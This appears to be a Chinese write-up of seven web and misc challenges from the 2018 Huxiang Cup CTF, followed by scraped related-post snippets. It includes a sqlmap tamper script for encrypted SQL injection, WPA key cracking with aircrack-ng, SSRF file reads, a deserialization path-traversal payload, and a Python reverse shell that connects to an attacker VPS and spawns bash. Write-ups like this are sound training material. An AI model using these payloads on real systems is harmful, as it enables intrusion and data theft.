1.题目名 Code Check

打开题目,右键发现有id参数的url,简单base64解码以后发现不是明文,说明利用了其他的加密方式,那么应该会有具体的加密方式给我们,于是试试常见的文件泄露,可以发现list.zip,打开发现是具体的解密逻辑与查询逻辑。

有了解密逻辑我们就可以逆着写出加密逻辑,另外id参数明显存在注入,只需要写一个加密的sqlmap的tamper脚本,然后放到sqlmap的tamper目录下就可以了,之后在sqlmap里跑一跑就可以出flag

下面是改过的tamper脚本

#!/usr/bin/env python

"""

Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)

See the file 'LICENSE' for copying permission

"""

import base64

from Crypto.Cipher import AES

from lib.core.enums import PRIORITY

from lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.LOWEST

def dependencies():

    pass

def encrypt(text):

    padding = '\0'

    key = 'ydhaqPQnexoaDuW3'

    iv = ''

    pad_it = lambda s: s+(16 - len(s)%16)*padding

    cipher = AES.new(key, AES.MODE_CBC, iv)

    text = text + 'hxb2018'

    return base64.b64encode(base64.b64encode(cipher.encrypt(pad_it(text))))

def tamper(payload, **kwargs):

         return encrypt(payload)

2.题目名 Flow

题目是个流量包,802.11的,数据包是加密的,所以尝试一下能不能爆破出来key来解密一下上层的其他数据包来找flag,一般做无线的题目需要用到aircrack-ng这个无线破解工具。

首先需要一个弱密码的字典,然后运行 aircrack-ng -w 字典名 + 流量包,运气比较好刚好爆破出来了key为password1

有了key就能导入到wireshark里面对wpa加密的无线数据包进行解密

解密之后在导出http对象中发现flag

3.题目名 readflag

ssrf的题目,首先读了下/etc/passwd没有什么有用的东西,所以继续读一下/etc/hosts发现内网里面有两台主机

经过简单测试,发现题目的内网主机号为230,另一台内网机器的主机号是183,所以尝试读一下另一个机器上的文件,首先读一下apache的配置文件,发现如下路径树

又因为http的网站在站点的配置文件下有默认的000-default.conf,所以尝试访问如下:

发现了web的源码路径,直接读取

发现路径/var/www/html/ssrf/readflag,尝试访问是个elf,一堆乱码,所以用wget下载这个elf,然后ida里面加载一下发现如下:

所以更改一下路径,读取如下,得到flag

4.题目名 mynote

这是一道反序列化的题目,在我们注册登陆以后,在抓包中发现picture参数有问题,base64解码发现其为序列化的数据,所以猜测是否其存在反序列化漏洞,我们上传一个jpg文件

又因为后端会访问我们上传的图片并会返回到前端,所以尝试是否可以读取任意文件,上传1.jpg以后,抓包并且改为payload为a:1:{i:0;s:14:”../../flag.php”;},然后放包如下图所示,可以看到一串base64编码

解密后就能看到flag如上图所示

5. 管理员的flag在哪里?

注册登陆后,在添加标题那里刚开始选择“是”这个选项,以为是xss,但是没效果,于是选择“否”,添加标题后发现有show页面,尝试了一下模板注入的payload

返回了9说明的确存在模板注入,于是尝试是否可以执行命令

构造payload如下:

返回的值证明可以执行命令,又继续尝试了一下curl和wget 都能使用,所以尝试反弹一下shell试试,在vps上监听一下端口,使用exp下载vps上的shell.py文件并执行,构造以下payload:

shell如下:

#!/usr/bin/env python

#coding:utf-8

import os

import pty

import socket

lhost = "xx.xx.xx.xx" #vps的ip地址

lport = 21192 #vps的端口

def main():

    s= socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    s.connect((lhost,lport))

    os.dup2(s.fileno(),0)

    os.dup2(s.fileno(),1)

    os.dup2(s.fileno(),2)

    pty.spawn('/bin/bash')

    s.close()

main()

分别show以上的两条payload以后就能够拿到shell,在Xme0目录下存在auto.js 查看它如下图所示得到flag

6.disk

下载一个是一个vmdk文件,首先看看能不能提取出来啥东西,这里需要用到7z

提取出来里面有四个flag文件,但是打开并不是flag,队友说可能跟NTFS隐藏数据流有关系,所以百度一波,在网上找到如下工具

能够检测出隐藏在文件中的NTFS数据流,搜索一下果然找到了可疑的数据流

百度到ads原来是可以隐藏后门的,于是分别打开四个flag文件

打开flag1.txt后是一段二进制,在线将其转化为字符串试试

发现是flag,所以继续转换后面的三个文件中的二进制文件并转换就可以得到flag

7.Hidden Write

首先拿到图片先binwalk一下,发现什么都没有

然后strings一下图片

结尾发现flag的一部分字符串78cd89c18c

肯定在别的地方还有flag的其他部分,所以用16进制编辑器看看图片,发现其有三个图片其中两张图片没有头部的前8个字节,所以把两张图片抠出来加上头部,就变成3张图片了

此时掏出stegsolve来给三张图片用一用,在第二张图中发现了bgr通道的lsb隐写

hxb2018{1e30f3b836d78d25c ,由此得到了flag的另一个部分,此时明显还少最后一个部分,此时有三张图片当然想到用盲水印,以前在比赛中遇到过,所以用下图所示的工具试试:

由于有3张图片所以需要两两结合来花费3次来尝试

由此得到flag的最后一段为20b4a}

最后拼接得到flag:

hxb2018{1e30f3b836d78d25c78cd89c18c20b4a}

2018湖湘杯web、misc记录的更多相关文章

  1. CTF 湖湘杯 2018 WriteUp (部分)

    湖湘杯 2018 WriteUp (部分),欢迎转载,转载请注明出处! 1.  CodeCheck(WEB) 测试admin ‘ or ‘1’=’1’# ,php报错.点击登录框下面的滚动通知,URL ...

  2. 2017湖湘杯复赛writeup

    2017湖湘杯复赛writeup 队伍名:China H.L.B 队伍同时在打 X-NUCA  和 湖湘杯的比赛,再加上周末周末周末啊,陪女朋友逛街吃饭看电影啊.所以精力有点分散,做出来部分题目,现在 ...

  3. 【CTF】2019湖湘杯 miscmisc writeup

    题目来源:2019湖湘杯 题目链接:https://adworld.xctf.org.cn/task/answer?type=misc&number=1&grade=1&id= ...

  4. 2019 湖湘杯 Reverse WP

    0x01 arguement 下载链接:https://www.lanzous.com/i7atyhc 1.准备 获取到信息: 32位的文件 upx加密文件 在控制台打开文件 使用"upx ...

  5. 2017湖湘杯Writeup

    RE部分 0x01 Re4newer 解题思路: Step1:die打开,发现有upx壳. Step2:脱壳,执行upx -d 文件名即可. Step3:IDA打开,shift+F12看字符串. 点进 ...

  6. 湖湘杯2020 writeup

    这个平台中间卡的离谱,卡完过后交了flag分还掉了 Web 题目名字不重要 也算是非预期吧,赛后y1ng师傅也说了因为要多端口环境必须这样配,预期解很难 NewWebsite 后台弱口令admin a ...

  7. Bugku Writeup —文件上传2(湖湘杯)

    我们先来看下题目,题目说明是文件上传 我们可以尝试通过构造payload来进行测试 php://filter/read=convert.base64-encode/resource=flag 获取到f ...

  8. 湖湘杯2020_ReMe

    查壳后发现是由Python2.7环境下编译得到的exe可执行文件 由此想到可将exe转为pyc文件再反编译成py文件 且该方法只适用于py2 无混淆 因为py3的字节码结构有些许变化 step1: 在 ...

  9. ASP.NET Web API 记录请求响应数据到日志的一个方法

    原文:http://blog.bossma.cn/dotnet/asp-net-web-api-log-request-response/ ASP.NET Web API 记录请求响应数据到日志的一个 ...

随机推荐

  1. SQLServer 统计查询语句消耗时间

    --方法1[set statistic ]: set statistics time on go --执行语句 xxxx go set statistics time off --方法2[getDat ...

  2. 苹果开发者账号提示“Unable to verify mobile phone number”的解决方案

    在注册苹果开发者账号时,会提示:"Unable to verify mobile phone number.".顾名思义,没有有效的手机号码. 解决方案: 进入到Your Appl ...

  3. jmeter在linux上运行

    若需在linux操作系统上运行jmeter,则需要以命令行的形式运行. 前提条件:linux环境下配置好jdk.jmeter的环境变量等. 1.首先在Windows的图形化界面做好脚本,设置好并发用户 ...

  4. loj#2978. 「THUSCH 2017」杜老师(乱搞)

    题面 传送门 题解 感谢yx巨巨 如果一个数是完全平方数,那么它的所有质因子个数都是偶数 我们把每一个数分别维护它的每一个质因子的奇偶性,那么就是要我们选出若干个数使得所有质因子的个数为偶数.如果用线 ...

  5. 1. UML统一建模语言

    (1)UML概述: 建模: 对现实系统进行适当的过滤, 用适当的表现规则描述出简洁的模型. 建模是一种深入解决问题的方法. UML: UML(United Modeling Language, 统一建 ...

  6. 17、OpenCV Python 数字验证码识别

    __author__ = "WSX" import cv2 as cv import numpy as np from PIL import Image import pytess ...

  7. C#/ASP.NET对URL中的中文乱码处理

    前言:UTF-8中,一个汉字对应三个字节,GB2312中一个汉字占用两个字节. 不论何种编码,字母数字都不编码,特殊符号编码后占用一个字节. 1.直接在C#后台编码URL参数 引用类库:System. ...

  8. 《条目十六》如何将vector和string的数据传给遗留的API

    <条目十六>如何将vector和string的数据传给遗留的API 优秀的代码是可以延续的,所以并非所有的代码都是重构的,而且有时候重构会对整个系统影响较大,投入巨大,得不偿失.然而,也不 ...

  9. 蠕虫Worm virus

    美国CORNELL大学研究生莫里斯编写的蠕虫病毒 蠕虫病毒是一种常见的计算机病毒.它是利用网络进行复制和传播,传染途径是通过网络和电子邮件.最初的蠕虫病毒定义是因为在DOS环境下,病毒发作时会在屏幕上 ...

  10. HDU - 2604 矩阵快速幂 字符串递推 两种解法

    记dp[i]为长度i且符合题意的方案数,dp[n]就是解 符合方案的是不含fmf和fff子串的字符串 考虑如何从前面几项递推出后面第i项 (★表示存在生成的非法方案)←其实没啥用处 i=1时 m③ f ...